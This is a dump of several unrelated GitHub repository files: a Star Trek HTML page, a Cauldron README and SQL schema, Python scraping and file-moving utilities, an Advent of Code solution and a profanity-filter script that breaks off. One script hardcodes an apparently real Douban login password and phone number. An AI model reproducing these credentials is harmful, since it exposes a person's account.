Kirk. (Star Trek: The Original Series; Star Trek: The Motion Picture; VOY: \"Q2\")\n\nThe Enterprise was destroyed over the Genesis Planet in 2285 when Kirk activated the ship's auto-destruct sequence to prevent the Enterprise from falling into the hands of the Klingons. In the early to mid-23rd century, at least twelve heavy cruiser-type starships, the Constitution-class, were commissioned by the Federation Starfleet. (TOS: \"Tomorrow is Yesterday\") The vessel registered NCC-1701, which was constructed in San Francisco, was christened the Enterprise. Larry Marvick was stated to be one of the designers of the Enterprise, (TOS: \"Is There in Truth No Beauty?\") Dr. Richard Daystrom designed her computer systems, (TOS: \"The Ultimate Computer\") and Captain Robert April oversaw construction of her components, then commanded her during her trial runs and early missions. Sarah April served as the chief medical officer and designed several tools for the ship's sickbay. (TAS: \"The Counter-Clock Incident\")\n\nCaptain Christopher Pike commanded the Enterprise from the early 2250s into the 2260s. His missions included voyages to the Rigel, Vega, and Talos systems. Pike's half-Vulcan science officer, Spock, who served under him for over eleven years, would become the starship's longest-serving officer.</p>\n<p>In 2265, the Enterprise was assigned to a five-year mission of deep-space exploration, and command passed to James T. Kirk. The ship's primary goal during this mission was to seek out and contact alien life. Captain Kirk's standing orders also included the investigation of all quasars and quasar-like phenomena.\n\nBeyond her primary mission, the Enterprise defended Federation territories from aggression, aided member worlds in crisis, and provided scientific expeditions and colonies in her patrol area with annual examinations and support. From 2265 to 2270, the Enterprise visited over seventy different worlds and encountered representatives of over sixty different species. More than twenty of those were first contacts with beings previously unknown to the Federation, including stellar neighbors like the First Federation and Gorn, voyagers from the Kelvan Empire in distant Andromeda, and powerful non-corporeal entities like the Thasians, Trelane, and the Organians. Two discovered species were the first known examples of silicon-based lifeforms, the Horta and the Excalbians. </p>\n<p>The Enterprise was the first Federation vessel to survive an encounter with the galactic barrier. The ship's warp drive and other systems, however, were critically damaged and casualties totaled twelve crewmembers and officers. By stardate 4657.5, the Enterprise was traveling through space in a region of space hundreds of light years further than any Earth starship had explored. (TOS: \"Where No Man Has Gone Before\", \"Return to Tomorrow\")\n\nThe reality of time travel, externally influenced, had been known for over a century, but following two accidental temporal displacements, the Enterprise became the Federation's first deliberately-controlled timeship. Observing the death-throes of Psi 2000, the crew suffered from polywater intoxication and the Enterprise nearly lost orbit after an engine shutdown. A previously untested \"cold start\", via controlled matter-antimatter implosion, saved the ship, but the high-speed escape from the planet's gravity well caused the ship to travel three days into the past.</p>\n<p>In 2267, while escaping the gravitational pull of a black star, the Enterprise was hurled through space and time to Earth of 1969. The crew developed and executed a method to return to their own time, by warping around the sun's gravity well in a slingshot maneuver. A year later, the Enterprise was ordered to repeat the recently-proven slingshot effect, and returned to Earth's past on a mission of historical observation.</p>\n<p>Some missions of discovery confronted Enterprise with entities and mechanisms that threatened great swaths of Federation and neighboring space.\n\nAn ancient \"planet killer\", fueled by the consumption of planets it destroyed with its antiproton weapon, approached Federation population centers in 2267. It required the combined efforts of the Enterprise and her sister ship, USS Constellation, to destroy it. (TOS: \"The Doomsday Machine\")\n\nOne year later, a single-cell organism of colossal scale emitted negative energy, toxic to humanoid life, killing the entire Vulcan crew of the USS Intrepid. The Enterprise penetrated the cell interior and destroyed the organism before its imminent cell division threatened to overwhelm the rest of the galaxy.</p>\n</div>\n\n<script src=\"script.js\"></script>\n\n</body>\n</html>"
},
{
"alpha_fraction": 0.8119266033172607,
"alphanum_fraction": 0.8119266033172607,
"avg_line_length": 42.400001525878906,
"blob_id": "4769d3de832b35eb0ed623b7a7a8247ead4f1cb0",
"content_id": "f78b0c263e2e135fab71f4517d4e289692761a1a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 218,
"license_type": "no_license",
"max_line_length": 82,
"num_lines": 5,
"path": "/README.md",
"repo_name": "gusgalarnyk/projectCauldron",
"src_encoding": "UTF-8",
"text": "# Cauldron\nCauldron\nThis is the git repository for Cauldron, a networking app that links students and\nyoung professionals with ideas to other students and young professionals with the \nknow-how to bring them to life! \n"
},
{
"alpha_fraction": 0.6866359710693359,
"alphanum_fraction": 0.7004608511924744,
"avg_line_length": 15.769230842590332,
"blob_id": "d7b0cc006b52a69881cb0f51274e8ef7d3065000",
"content_id": "d4723b6f018bc1263ed9656113334291275a7a90",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "SQL",
"length_bytes": 217,
"license_type": "no_license",
"max_line_length": 39,
"num_lines": 13,
"path": "/SQL/SQL_Scripts/countries.sql",
"repo_name": "gusgalarnyk/projectCauldron",
"src_encoding": "UTF-8",
"text": "DROP TABLE IF EXISTS countries CASCADE;\n\nCREATE TABLE countries\n(\n id integer NOT NULL,\n name varchar(255)\n);\n\nALTER TABLE public.countries\n ADD CONSTRAINT countries_pkey\n PRIMARY KEY (id);\n\nCOMMIT;"
}
] | 12 |
Defactoo/Knight_crawler | https://github.com/Defactoo/Knight_crawler | 56bdd60bc4be5716eb8595391c0e114aa3f6b8eb | 1a648bc124148a92dc2878a92d0e0b531743ad57 | b6756b4d6ca068cd69de53a1e446554be8673677 | refs/heads/master | 2020-03-24T23:58:44.435489 | 2018-08-01T15:22:52 | 2018-08-01T15:22:52 | 143,163,706 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.64453125,
"alphanum_fraction": 0.68359375,
"avg_line_length": 33.13333511352539,
"blob_id": "5e006f3b6e4ffbd900b0b327689549952153a032",
"content_id": "dbcbc5f257a233033728fc7ece6fd57e908a955d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1098,
"license_type": "no_license",
"max_line_length": 97,
"num_lines": 30,
"path": "/urllib_test.py",
"repo_name": "Defactoo/Knight_crawler",
"src_encoding": "UTF-8",
"text": "import urllib.request\nimport urllib.error\nimport urllib.parse\nimport ssl\n\nheaders = {'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',\n'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0'\n}\n\nvalue = {'source': 'index_nav',\n'form_password': 'guo18842620930',\n'form_email': '18842620930'\n}\n#python2.79之后会引入ssl验证,下面为创建一个未经验证的ssl\ncontext = ssl._create_unverified_context()\ntry:\n data = urllib.parse.urlencode(value).encode('utf8')\n response = urllib.request.Request('https://www.douban.com/login', data=data, headers=headers)\n html = urllib.request.urlopen(response,context=context)\n result = html.read().decode('utf8')\n print(result)\nexcept urllib.error.URLError as e:\n if hasattr(e, 'reason'):\n print('错误原因是' + str(e.reason))\nexcept urllib.error.HTTPError as e:\n if hasattr(e, 'code'):\n print('错误编码是' + str(e.code))\nelse:\n print('请求成功通过。')\n"
}
] | 1 |
ArdavanKhalij/Data-Scrapping | https://github.com/ArdavanKhalij/Data-Scrapping | a0b7ccb012e5f6d51e24cfef3dcf81d71844a9db | 34d4347b2a141df67d06ee91ba0bc6f969d958d6 | ce1b9d7c22f13a956c11338b39e848d303b15145 | refs/heads/master | 2023-03-03T00:23:40.375572 | 2020-11-17T11:42:45 | 2020-11-17T11:42:45 | 337,646,558 | 3 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.616083025932312,
"alphanum_fraction": 0.6242974400520325,
"avg_line_length": 27.567901611328125,
"blob_id": "8b9bed86abee830c5d120ea2a5252aed465f8557",
"content_id": "3dea6de6b19aa1d5a18fe784f4ec1162717ebb9e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2313,
"license_type": "no_license",
"max_line_length": 100,
"num_lines": 81,
"path": "/ATUMiniTest.py",
"repo_name": "ArdavanKhalij/Data-Scrapping",
"src_encoding": "UTF-8",
"text": "######### Libraries #########\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\n\n######### Libraries #########\n########## Welcome ##########\n\nprint(\"Hello Dr. Asim Shrestha, Welcome!\")\nprint(\"It would take a while...\")\n\n########## Welcome ##########\n####### Get the topic #######\n\ndef GetTheTopic(Topics):\n results = []\n for i in range(0, len(Topics)):\n results.append(Topics[i].find('a').text)\n return results\n\n####### Get the topic #######\n### Get the starter names ###\n\ndef GetTheStarterName(NameOfStarter):\n results = []\n for i in range(0, len(NameOfStarter)):\n temp = NameOfStarter[i].text\n temp2 = temp[3:]\n results.append(temp2[:-2])\n return results\n\n### Get the starter names ###\n# Get the number of replies #\n\ndef GetTheNumberReplies(Replies):\n results = []\n i = 0\n while i < len(Replies):\n results.append(int(Replies[i].text))\n i = i + 2\n return results\n\n# Get the number of replies #\n## Get the number of dates ##\n\ndef GetTheNumberDates(Dates):\n results = []\n i = 1\n while i < len(Dates):\n results.append(Dates[i].text[0:11])\n i = i + 2\n return results\n\n## Get the number of dates ##\n######### Main Page #########\n\nrecords = []\nMyURL = 'https://www.tigerdroppings.com/rant/lsu-sports/'\nURLS = []\nr = requests.get(MyURL)\nsoup = BeautifulSoup(r.text, 'html.parser')\nTopics = soup.find_all('h2')\nRepliesAndDates = soup.find_all('td', attrs={'class':'TopicCenter'})\nNameOfStarter = soup.find_all('div', attrs={'class':'Text nodt'})\nFinalTopics = GetTheTopic(Topics)\nFinalNameOfStarter = GetTheStarterName(NameOfStarter)\nFinalReplies = GetTheNumberReplies(RepliesAndDates)\nFinalDates = GetTheNumberDates(RepliesAndDates)\nfor i in range(0, len(Topics)):\n URLS.append('https://www.tigerdroppings.com'+str(Topics[i].find('a')['href']))\nfor i in range(0, 3):\n r = requests.get(URLS[i])\n soup = BeautifulSoup(r.text, 'html.parser')\n comments = soup.find_all('div', attrs={'class': 'pText'})\n comment = comments[0].text\n records.append((FinalTopics[i], FinalNameOfStarter[i], FinalReplies[i], FinalDates[i], comment))\ndf = pd.DataFrame(records, columns=['Topic','Starter','Replies','Date','First_Comment'])\nprint(\"The output in a csv table form is ready.\")\n\n######### Main Page #########"
}
] | 1 |
martiche93/The-Cancer-Wizards | https://github.com/martiche93/The-Cancer-Wizards | 38b026b1fde28e76c369d1c3fc1ddc230a22ced0 | 9365e50704df3533fb1c2d73010eb9424bd33efd | 5bd5e591241b8c9f943175c4620af1422d616488 | refs/heads/main | 2023-07-14T13:42:59.816289 | 2021-09-03T01:36:20 | 2021-09-03T01:36:20 | 398,632,257 | 2 | 1 | null | 2021-08-21T18:39:06 | 2021-09-01T03:02:23 | 2021-09-01T03:22:03 | Jupyter Notebook | [
{
"alpha_fraction": 0.7219288945198059,
"alphanum_fraction": 0.7360084652900696,
"avg_line_length": 32.82143020629883,
"blob_id": "d43323cea7dde95c2c87db4a0d0862890eccfcb6",
"content_id": "aa830aac28058207a01b1dc10a57d31d98b14089",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 2853,
"license_type": "no_license",
"max_line_length": 367,
"num_lines": 84,
"path": "/README.md",
"repo_name": "martiche93/The-Cancer-Wizards",
"src_encoding": "UTF-8",
"text": "# Machine Learning Project: The Cancer Wizards App\n\n## Background\n\nThe Cancer Wizards is a web application built on Python, powered by Flask, and deployed through Heroku. Our main question was:\n\n**What is the best machine learning model to predict whether breast cancer is benign or malignant based on multiple points of measurement data collected from histopathologic samples of cell nuclei?** \n\nPlease check out all of our hard work on the Heroku app [here](https://the-cancer-wizards-app.herokuapp.com/).\n\n\n## Prerequisites\n\n### Before you begin, ensure you have met the following requirements:\n\n* You have installed >= python 3.9\n\n* You have installed a python virtial environment management tool i.e. conda or pyenv\n\n\n## Quickstart\n\n### To run this application locally use the following steps:\n\n* clone repo\n\n* create and activate your python virtual environment\n ```\n conda activate <your_env_name>\n ```\n* upgrade pip\n ```\n pip install --upgrade pip\n ```\n* install dependencies\n ```\n pip install -r requirements.txt\n ```\n* run flask app\n ```\n sh run.sh\n ```\n\n\n## Process & Conclusions\n\n### Our dataset: [Kaggle](https://www.kaggle.com/uciml/breast-cancer-wisconsin-data)\n#### Cleaned CSV copy [here.](https://machinelearningprojectdata.s3.us-east-2.amazonaws.com/CLEANED_breast_cancer_prediction.csv)\n\nWe retrieved and preprocessed the data from the Breast Cancer Wisconsin (Diagnostic) Dataset, which uses key features of breast mass cell nuclei taken from fine needle aspiration biopsies. Our goal is to find the best machine learning model (which would have the highest testing data accuracy percentage) for this predictive analysis. The models we will be used were:\n\n`Logistic Regression`\n\n`Support Vector Machines (SVM)` *(before & after hypertuning the model)*\n\n`Kernel SVM`\n\n`Random Forest Classifier`\n\n\n### Here’s how our models did by descending accuracy percentages & confusion matrix results *(FP = false positive, FN = false negative)*:\n\n`Logistic Regression` **→ 98.6%, 0 FP, 2 FN** *(overall best model)*\n\n`Hypertuned Support Vector Machines (SVM)` **→ 97.9%, 5 FP, 1 FN** *(had the highest overprediction of malignancy, but had very low underprediction of malignancy)*\n\n`Random Forest Classifier` **→ 97.2%, 1 FP, 3 FN** *(tended to overall underpredict malignancy)*\n\n`Kernel SVM` **→ 96.5%, 3 FP, 2 FN** *(better on avoiding underpredicting malignancy)*\n\n`Support Vector Machines (SVM)` **→ 95.8%, 4 FP, 2 FN** *(2nd highest overprediction of malignancy, but still had low underprediction of malignancy)*\n\n\n## Contributors\n\n*Thanks to the following people who have contributed to this project:* <br />\n\n[@Carley Engleson](https://github.com/cjengleson)<br />\n\n[@Cheyenne Martin](https://github.com/martiche93)<br />\n\n[@Ricci Sandoval](https://github.com/rls1316)<br />\n\n[@Ryan M](https://github.com/Ryanwm2000)<br />\n"
},
{
"alpha_fraction": 0.6936454772949219,
"alphanum_fraction": 0.6963210701942444,
"avg_line_length": 19.76388931274414,
"blob_id": "243e225c5df3bb429fbaae912582dae71514ed53",
"content_id": "518240ebddf506352c3d7e4231dd66d53a77733e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1495,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 72,
"path": "/app.py",
"repo_name": "martiche93/The-Cancer-Wizards",
"src_encoding": "UTF-8",
"text": "# import all dependencies\nfrom flask import Flask, render_template, request, redirect, jsonify, url_for\n\napp = Flask(__name__)\n\n\n# Homepage route\[email protected](\"/\")\ndef home():\n app.route('/')\n # use return render_template to access ALL html links\n return render_template(\"index.html\")\n\n\[email protected](\"/About\")\ndef about():\n return render_template(\"about.html\")\n\n\n# Analysis route\[email protected](\"/Analysis\")\ndef analysis():\n return render_template(\"analysis.html\")\n\n\n# Machine learning route\[email protected](\"/ML\")\ndef machine_learning():\n return \"Put machine_learning.html file here!\"\n\n\n# Here are the individual routes for the Machine Learning link\[email protected](\"/ML/Models\")\ndef models():\n return render_template(\"models.html\")\n\n\n# Here are the individual routes for the Machine Learning link\[email protected](\"/ML/KernelSVMModel\")\ndef Kernel_SVM_model():\n return render_template(\"model1.html\")\n\n\[email protected](\"/ML/LogisticRegressionModel\")\ndef log_reg_model():\n return render_template(\"model2.html\")\n\n\[email protected](\"/ML/RandomForestModel\")\ndef Random_Forest_model():\n return render_template(\"model3.html\")\n \n \[email protected](\"/ML/SVMModel\")\ndef SVM_model():\n return render_template(\"model4.html\")\n\n\n# Tableau route\[email protected](\"/Dashboard\")\ndef Tableau_Dashboard():\n return \"Put tableau dashboard html file here!\"\n\n\n# Conclusion route\[email protected](\"/Conclusion\")\ndef conclusion():\n return render_template(\"conclusions.html\")\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n"
}
] | 2 |
rvarner/climove | https://github.com/rvarner/climove | d2289d843cfae3ea7dbf25eda01a4cdb483f9b8a | ae5c9158177dc4a67a5477cb1d29d101b320b457 | ed5025f1665ba59a66072a56f10bbbe36ae9dc0e | refs/heads/master | 2020-03-30T21:35:12.225592 | 2018-10-04T21:06:57 | 2018-10-04T21:06:57 | 151,633,594 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6438356041908264,
"alphanum_fraction": 0.6712328791618347,
"avg_line_length": 23.66666603088379,
"blob_id": "43fec7b8431543093a555c34eda250c7c6274fd4",
"content_id": "c8423f2e958880448e8de09e4e41cd05a97a2bf2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 73,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 3,
"path": "/runclimove.sh",
"repo_name": "rvarner/climove",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env bash\n\ndocker run -ti -v `pwd`:/workdir reido/climove $1 $2"
},
{
"alpha_fraction": 0.7748344540596008,
"alphanum_fraction": 0.7748344540596008,
"avg_line_length": 49.33333206176758,
"blob_id": "c2febea00c01f94e837566ab350982fb171a4ff9",
"content_id": "53a4d0bbea96bccf3a2948109e504a0f83fde934",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 151,
"license_type": "no_license",
"max_line_length": 139,
"num_lines": 3,
"path": "/README.md",
"repo_name": "rvarner/climove",
"src_encoding": "UTF-8",
"text": "# climove\n\nSimple utility to move files using a glob syntax and will not complain about \"too many arguments\", as does the standard linux *mv* utility.\n"
},
{
"alpha_fraction": 0.582524299621582,
"alphanum_fraction": 0.5922330021858215,
"avg_line_length": 18.80769157409668,
"blob_id": "6334b44d8aadafe25e6576adaf46aa9d7fe3abc3",
"content_id": "22dfe028bd0f0cb525df7f9305d91179b360e35d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 515,
"license_type": "no_license",
"max_line_length": 63,
"num_lines": 26,
"path": "/move.py",
"repo_name": "rvarner/climove",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n\nimport glob\nimport sys\nimport os\nimport os.path\nfrom tqdm import tqdm\n\n\ndef moveAll(globStr, dest):\n for g in tqdm(glob.glob(globStr), ):\n os.rename(g, os.path.join(dest, g))\n\n\nif __name__ == '__main__':\n if len(sys.argv) != 3:\n print \"usage: move <globstr> <dest>\"\n exit(1)\n\n globStr = sys.argv[1]\n dest = sys.argv[2]\n if not os.path.isdir(dest):\n print \"error: dest directory does not exist: %s\" % dest\n exit(1)\n\n moveAll(globStr, dest)\n"
},
{
"alpha_fraction": 0.7475728392601013,
"alphanum_fraction": 0.7475728392601013,
"avg_line_length": 24.8125,
"blob_id": "2e39d53428a3577165ccfb3d67629c8a46c6129c",
"content_id": "0bcf1520a1d43d8a04c7233da6344acdd4fe963c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 412,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 16,
"path": "/install.sh",
"repo_name": "rvarner/climove",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env bash\n\necho \"Building docker container\"\ndocker build -t reido/climove .\necho \"Finished building docker container\"\n\necho \"Adding +x perms\"\nchmod +x runclimove.sh\n\necho \"Removing link if exists\"\nrm -f $HOME/bin/runclimove\nrm -f $HOME/bin/climove\necho \"Linking to $HOME/bin/runclimove\"\nln -s `pwd`/runclimove.sh $HOME/bin/climove\necho \"Finished install\"\necho \"usage: climove <src glob str> <dest dir>\""
},
{
"alpha_fraction": 0.7323232293128967,
"alphanum_fraction": 0.7373737096786499,
"avg_line_length": 17.090909957885742,
"blob_id": "e648408feecf24549df22fed99d4aee843ef5384",
"content_id": "045e984d667287001abb5f5019fd917f662ccc3d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Dockerfile",
"length_bytes": 198,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 11,
"path": "/Dockerfile",
"repo_name": "rvarner/climove",
"src_encoding": "UTF-8",
"text": "FROM python:2-alpine\n\nWORKDIR /usr/src/app\n\nCOPY requirements.txt ./\nRUN pip install --no-cache-dir -r requirements.txt\n\nCOPY move.py .\n\nWORKDIR /workdir\nENTRYPOINT [\"python\",\"/usr/src/app/move.py\"]"
}
] | 5 |
akki2825/advent-of-code-19 | https://github.com/akki2825/advent-of-code-19 | 752e4ef4d4e1add74728ba8b78e43edb0a768b73 | f5be34f3a06c0a873a06d7e64f63168ffd134247 | ea494a9057732b478f3f2aa93a569965f51629b9 | refs/heads/master | 2020-09-22T19:10:37.308515 | 2019-12-02T06:47:05 | 2019-12-02T06:47:05 | 225,304,221 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6516393423080444,
"alphanum_fraction": 0.7090163826942444,
"avg_line_length": 36.53845977783203,
"blob_id": "5f26dd60edc781c50f53dba65aa80a959e713464",
"content_id": "54c629000125559c321c631b99ed83897986cdf1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 976,
"license_type": "no_license",
"max_line_length": 203,
"num_lines": 26,
"path": "/day1/soln_part1.py",
"repo_name": "akki2825/advent-of-code-19",
"src_encoding": "UTF-8",
"text": "\"\"\"\nFuel required to launch a given module is based on its mass. Specifically, to find the fuel required for a module, take its mass, divide by three, round down, and subtract 2.\n\nFor example:\n\n For a mass of 12, divide by 3 and round down to get 4, then subtract 2 to get 2.\n For a mass of 14, dividing by 3 and rounding down still yields 4, so the fuel required is also 2.\n For a mass of 1969, the fuel required is 654.\n For a mass of 100756, the fuel required is 33583.\n\nThe Fuel Counter-Upper needs to know the total fuel requirement. To find it, individually calculate the fuel needed for the mass of each module (your puzzle input), then add together all the fuel values.\n\"\"\"\n\ndef result(mass: int) -> int:\n return mass // 3 - 2\n\n\nassert result(12) == 2\nassert result(14) == 2\nassert result(1969) == 654\nassert result(100756) == 33583\n\nwith open('input.txt') as f:\n data = [int(item.strip()) for item in f]\n\nprint(sum([result(mass) for mass in data]))\n"
},
{
"alpha_fraction": 0.5714285969734192,
"alphanum_fraction": 0.7142857313156128,
"avg_line_length": 13,
"blob_id": "6adc0b998a718c87b6e3471c53d12e01fafe5ff9",
"content_id": "2ed21f0977cb1d762b4137deda01d3cd72b75334",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 42,
"license_type": "no_license",
"max_line_length": 20,
"num_lines": 3,
"path": "/README.md",
"repo_name": "akki2825/advent-of-code-19",
"src_encoding": "UTF-8",
"text": "## advent-of-code-19\n\nAdvent of Code 2019\n"
}
] | 2 |
xxhmode14/anti_swear.py | https://github.com/xxhmode14/anti_swear.py | fca6b3c2bc936948541ef6309570a2a1b0e0a8e6 | a6987feade7b441a3e9c7a711f2ecebdf37d8b1a | 7d5d53bada96f839c07d260e632ad2f9ea34cb48 | refs/heads/main | 2023-01-12T20:28:38.623024 | 2020-11-11T16:06:11 | 2020-11-11T16:06:11 | 312,011,053 | 2 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.4757491648197174,
"alphanum_fraction": 0.4970651865005493,
"avg_line_length": 28.828571319580078,
"blob_id": "56b8a673173a1a6b7ff06b7544a24d44cff5ab4c",
"content_id": "883024c7775a24f9161ff248891183d7b4649c66",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6474,
"license_type": "no_license",
"max_line_length": 125,
"num_lines": 210,
"path": "/anti_swear.py",
"repo_name": "xxhmode14/anti_swear.py",
"src_encoding": "UTF-8",
"text": "import random\r\nimport json\r\nimport os\r\nimport string\r\n\r\nanswers = [\"bad\", \"good\"]\r\nPoints = [0,0]\r\nbad = []\r\ngood = []\r\ndata = None\r\njson_file = None\r\n\r\ndebuging = False\r\n\r\nd_tools = {\r\n \"auto_save\": False,\r\n \"Display_prints\": True,\r\n \"Simulation\": False\r\n}\r\n\r\ndef Debug_Tools(key,state):\r\n if key in d_tools.keys():\r\n if key == \"auto_save\":\r\n d_tools.update(auto_save = state)\r\n elif key == \"Display_prints\":\r\n d_tools.update(Display_prints = state)\r\n return d_tools.get(key)\r\n else:\r\n print(\"Invalid debug option,\")\r\n print(\"list of the options:\")\r\n for word in d_tools.keys():\r\n print(f\"> {word}\\n\")\r\n\r\n\r\nsp_chars = [\"!\",\"?\",\"|\",\"@\",\"#\",\"$\",\"%\",\"^\",\"&\",\"*\",\"/\",\"'\",'\"',\":\",\";\",\"\\\\\",\"[\",\"{\",\"]\",\"}\",\"(\",\")\",\"-\",\"_\",\"+\",\"=\",\"~\",\".\"]\r\n\r\ndef load():\r\n global data, json_file\r\n if debuging:\r\n print(\"loading file . . .\")\r\n json_file = open(\"data.json\", \"r\")\r\n data = json.load(json_file)\r\n if data[\"bad\"] == None or data[\"good\"] == None:\r\n print(\"error while loading json file. . .\")\r\n return\r\n if debuging:\r\n print(\"done\")\r\n return\r\n\r\n\r\nload()\r\n\r\n# saves the date to a json file.\r\ndef save_json():\r\n new_file = open(\"data.json\", \"w\")\r\n new_file.write(str(data).replace(\"'\", '\"'))\r\n file = open(\"data.json\", \"r\")\r\n json_file = json.load(file)\r\n if json_file[\"bad\"] == None or json_file[\"good\"] == None:\r\n print(\"error while saving the file!\")\r\n return\r\n if debuging and d_tools.get(\"Display_prints\"):\r\n print(\"data has been successfully saved\")\r\n return\r\n\r\n\r\ndef is_bad(text):\r\n global json_file, good, bad, Points\r\n raw_text = text\r\n if text == string.whitespace:\r\n return False\r\n text = str(text).lower()\r\n if text == \"end_sim\" and debuging and d_tools.get(\"Simulation\"):\r\n save_json()\r\n for sp in sp_chars:\r\n text = text.replace(sp,\"\")\r\n # the final value\r\n Final = None\r\n\r\n good = data[\"good\"]\r\n bad = data[\"bad\"]\r\n\r\n '''\r\n the possibility of being good/bad\r\n poss[0] is the possibility of being bad\r\n poss[1] is the possibility of being good\r\n '''\r\n poss = [0.5, 0.5]\r\n if debuging and d_tools.get(\"Display_prints\"):\r\n print(\"Prossessing . . .\")\r\n Current_Awns = []\r\n\r\n for word in bad:\r\n # Split the word into words\r\n # text is the input word\r\n splitted = text.split(\" \")\r\n # word is the words in the list 'bad'\r\n splitted_word = word.split(\" \")\r\n for words in splitted:\r\n # checking for bypass\r\n if words.replace(\"1\", \"l\") in bad:\r\n poss[1] -= 0.5\r\n poss[0] += 0.15\r\n # removing white space\r\n no_White = words.translate({ord(c): None for c in string.whitespace})\r\n if no_White in word:\r\n poss[1] -= 0.5\r\n poss[0] += 0.15\r\n\r\n if word in splitted:\r\n poss[1] -= 0.5\r\n poss[0] += 0.15\r\n\r\n if text in splitted_word:\r\n poss[1] -= 0.35\r\n poss[0] += 0.15\r\n\r\n splitted = text.split(\" \")\r\n if splitted in bad:\r\n poss[1] -= 0.15\r\n poss[0] += 0.5\r\n # removing whitespace and checking if the raw word is in the list 'bad'\r\n if text.translate({ord(c): None for c in string.whitespace}) in bad:\r\n poss[1] -= 0.35\r\n poss[0] += 0.5\r\n # checking if the input text is in the list 'bad'\r\n if text in bad:\r\n poss[1] -= 0.50\r\n poss[0] += 0.75\r\n # same as bad but good\r\n for word in good:\r\n splitted = text.split(\" \")\r\n splitted_word = word.split(\" \")\r\n for words in splitted:\r\n no_White = words.translate({ord(c): None for c in string.whitespace})\r\n if no_White in word:\r\n poss[0] -= 0.05\r\n poss[1] += 0.1\r\n if word in splitted:\r\n poss[0] -= 0.05\r\n poss[1] += 0.1\r\n if text in splitted_word:\r\n poss[0] -= 0.05\r\n poss[1] += 0.1\r\n if word in text:\r\n poss[0] -= 0.05\r\n poss[1] += 0.1\r\n\r\n splitted = text.split(\" \")\r\n if splitted in good:\r\n poss[0] -= 0.05\r\n poss[1] += 0.1\r\n if text.translate({ord(c): None for c in string.whitespace}) in good:\r\n poss[0] -= 0.35\r\n poss[1] += 0.5\r\n if text in good:\r\n poss[0] -= 0.5\r\n poss[1] += 0.5\r\n\r\n if poss[0] > poss[1]:\r\n if debuging and d_tools.get(\"Display_prints\") or debuging and d_tools.get(\"Simulation\"):\r\n print(answers[0])\r\n Current_Awns = [text, answers[0]]\r\n elif poss[1] > poss[0]:\r\n if debuging and d_tools.get(\"Display_prints\"):\r\n print(answers[1])\r\n Current_Awns = [text, answers[1]]\r\n else:\r\n Current_Awns = [text, random.choice(answers)]\r\n if debuging and d_tools.get(\"Display_prints\"):\r\n print(Current_Awns[1])\r\n\r\n '''\r\n this thing just get data from the json file and set it to our local var\r\n '''\r\n data[\"good\"] = good\r\n data[\"bad\"] = bad\r\n if debuging and d_tools.get(\"Display_prints\"):\r\n print(data[\"bad\"])\r\n print(data[\"good\"])\r\n print(poss)\r\n if Current_Awns[1] == \"bad\":\r\n Final = True\r\n elif Current_Awns[1] == \"good\":\r\n Final = False\r\n\r\n if debuging and d_tools.get(\"Simulation\"):\r\n print(f\"word - {text}\")\r\n fit_num = input(\"num of Points (how good is it): \")\r\n Points[0] = Points[1]\r\n Points[0] += int(fit_num)\r\n if Points[0] > Points[1]:\r\n if Current_Awns[1] == \"good\" and Current_Awns[0] not in good:\r\n good.append(Current_Awns[0])\r\n elif Current_Awns[1] == \"bad\" and Current_Awns[0] not in bad:\r\n bad.append(Current_Awns[0])\r\n if Points[0] < Points[1]:\r\n if Current_Awns[1] == \"bad\" and Current_Awns[0] not in good:\r\n good.append(Current_Awns[0])\r\n elif Current_Awns[1] == \"good\" and Current_Awns[0] not in bad:\r\n bad.append(Current_Awns[0])\r\n if not d_tools.get(\"auto_save\"):\r\n save = input(\"do you want to save the changes y-n : \")\r\n if save == \"y\" or save == \"yes\":\r\n save_json()\r\n elif save == \"n\" or save == \"no\":\r\n return Final\r\n else:\r\n save_json()\r\n return Final\r\n"
},
{
"alpha_fraction": 0.5702970027923584,
"alphanum_fraction": 0.5831683278083801,
"avg_line_length": 25.120689392089844,
"blob_id": "4d0d005e2247f8edb91b32107e88c20e179f57bb",
"content_id": "c3de05d5c49fc273b269ad3f41243402f4ab441f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 3030,
"license_type": "no_license",
"max_line_length": 125,
"num_lines": 116,
"path": "/README.md",
